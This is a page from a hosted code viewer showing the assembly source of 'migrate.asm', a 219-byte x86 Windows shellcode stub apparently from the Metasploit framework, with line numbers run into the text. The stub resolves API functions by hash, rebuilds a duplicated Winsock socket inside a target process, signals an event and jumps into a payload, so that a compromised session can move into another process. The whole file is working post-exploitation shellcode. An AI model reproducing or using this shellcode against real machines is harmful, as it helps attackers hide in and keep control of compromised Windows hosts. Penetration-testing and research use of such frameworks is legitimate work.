Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/x86/src/migrate/migrate.asm
Views: 11791
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Architecture: x864; Version: 1.0 (Jan 2010)5; Size: 219 bytes6; Build: >build.py migrate7;-----------------------------------------------------------------------------;89; typedef struct MigrateContext10; {11; union12; {13; HANDLE hEvent;14; BYTE bPadding1[8];15; } e;16; union17; {18; LPVOID lpPayload;19; BYTE bPadding2[8];20; } p;21; WSAPROTOCOL_INFO info;22; } MIGRATECONTEXT, * LPMIGRATECONTEXT;2324[BITS 32]25[ORG 0]2627cld ; Clear the direction flag.28mov esi, [esp+4] ; ESI is a pointer to our migration stub context29sub esp, 0x2000 ; Alloc some space on stack30call start ; Call start, this pushes the address of 'api_call' onto the stack.31delta: ;32%include "./src/block/block_api.asm" ;33start: ;34pop ebp ; Pop off the address of 'api_call' for calling later.3536push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.37push 0x5F327377 ; ...38push esp ; Push a pointer to the "ws2_32" string on the stack.39push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )40call ebp ; LoadLibraryA( "ws2_32" )4142mov eax, 0x0190 ; EAX = sizeof( struct WSAData )43sub esp, eax ; alloc some space for the WSAData structure44push esp ; push a pointer to this stuct45push eax ; push the wVersionRequested parameter46push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )47call ebp ; WSAStartup( 0x0190, &WSAData );4849push eax ; If we succeed, eax wil be zero, push zero for the flags param.50push eax ; Push null for reserved parameter51lea ebx, [esi+16] ;52push ebx ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext53push eax ; We do not specify a protocol54inc eax ;55push eax ; Push SOCK_STREAM56inc eax ;57push eax ; Push AF_INET58push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )59call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );60xchg edi, eax ; Save the socket for later, we don't care about the value of eax after this6162push dword [esi] ; Push the event63push 0x35269F1D ; hash( "kernel32.dll", "SetEvent" )64call ebp ; SetEvent( hEvent );6566call dword [esi+8] ; Call the payload...676869